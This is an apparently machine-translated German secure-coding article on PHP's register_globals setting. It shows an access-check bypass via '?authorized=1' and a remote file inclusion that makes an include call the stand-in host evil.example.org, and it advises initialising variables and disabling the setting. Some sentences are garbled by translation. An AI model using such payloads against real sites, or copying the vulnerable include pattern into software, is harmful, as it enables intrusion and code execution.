Der Parameter register_globals ist in PHP-Versionen 4.2.0 und höher standardmäßig deaktiviert. Obwohl dies nicht als Sicherheitslücke angesehen wird, handelt es sich auf jeden Fall um ein Sicherheitsrisiko. Daher sollte register_globals während der Entwicklung immer maskiert werden.
Warum stellt dies ein Sicherheitsrisiko dar? Jede Situation erfordert eine separate Erklärung, um sie klar zu beschreiben, und es ist sehr schwierig, für jede Situation nur ein passendes Beispiel zu nennen. Das häufigste Beispiel ist jedenfalls im PHP-Handbuch beschrieben:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';} >Wann Wenn der Parameter register_globals aktiviert ist, kann auf diese Seite mit dem Parameter ?authorized=1 zugegriffen werden, wodurch die Zugriffskontrolle umgangen wird. Natürlich ist diese scheinbare Sicherheitslücke eher auf eine schlechte Entwicklung als auf register_globals zurückzuführen, aber sie erhöht deutlich das Potenzial für gefährliche Sicherheitslücken. Durch die Eliminierung dieses Effekts werden gewöhnliche globale Variablen (wie z. B. $authorized in diesem Beispiel) nicht mehr von den vom Client übermittelten Daten beeinflusst. Der beste Weg besteht darin, alle Variablen zu initialisieren und den Parameter error_reporting auf E_ALL zu setzen, damit die Verwendung nicht initialisierter Variablen während der Entwicklung nicht ignoriert wird.
Ein weiteres Beispiel für register_globals ist, dass bei der Verwendung von include zum Einschließen dynamischer Pfade Probleme auftreten können:
<?phpinclude "$path/script.php";?> Wenn der Parameter register_globals aktiviert ist, kann diese Seite ?path=http%3A % verwenden Durch den Parameterzugriff 2F%2Fevil.example.org%2F%3F entspricht der Code in diesem Beispiel dem folgenden Code:
<?phpinclude 'http://evil.example.org/?/script.php';? >Wenn der Wenn der Parameter „allow_url_fopen“ aktiviert ist (er ist standardmäßig sogar in php.ini-empfohlen aktiviert), umfasst dies sowohl Remote-Dateien wie http://evil.example.org/ als auch lokale Dateien. Dies ist eine häufige Sicherheitslücke, die sogar in einigen sehr bekannten Open-Source-Projekten zu finden ist.
Durch die Initialisierung von $path kann diese versteckte Gefahr vermieden werden, ohne den Parameter register_globals abzuschirmen. Entwicklerfehler können jedoch dazu führen, dass Variablen nicht initialisiert werden. Durch Ändern der globalen Konfiguration zum Blockieren des Parameters register_globals kann vermieden werden, dass diese versteckte Gefahr so weit wie möglich ignoriert wird.
Bequemlichkeit ist immer schön. Früher mussten wir manuell zwischen Formulardaten und gewöhnlichen Variablen unterscheiden. Es ist auch sehr praktisch, die integrierten globalen Arrays von $_POST und $_GET zu verwenden, und es lohnt sich nicht, das Risiko einzugehen, das durch die Aktivierung des Parameters register_globals entsteht. Obwohl ich absolut nicht der Meinung bin, dass das Aktivieren des Parameters „register_globals“ einer schwachen Sicherheit gleichkommt, empfehle ich dringend, ihn zu deaktivieren.
Es sollte hinzugefügt werden, dass das Blockieren des Parameters register_globals Entwicklern hilft, der Datenquelle mehr Aufmerksamkeit zu schenken, und genau das ist die Qualität, die ein sicherheitsbewusster Entwickler haben sollte.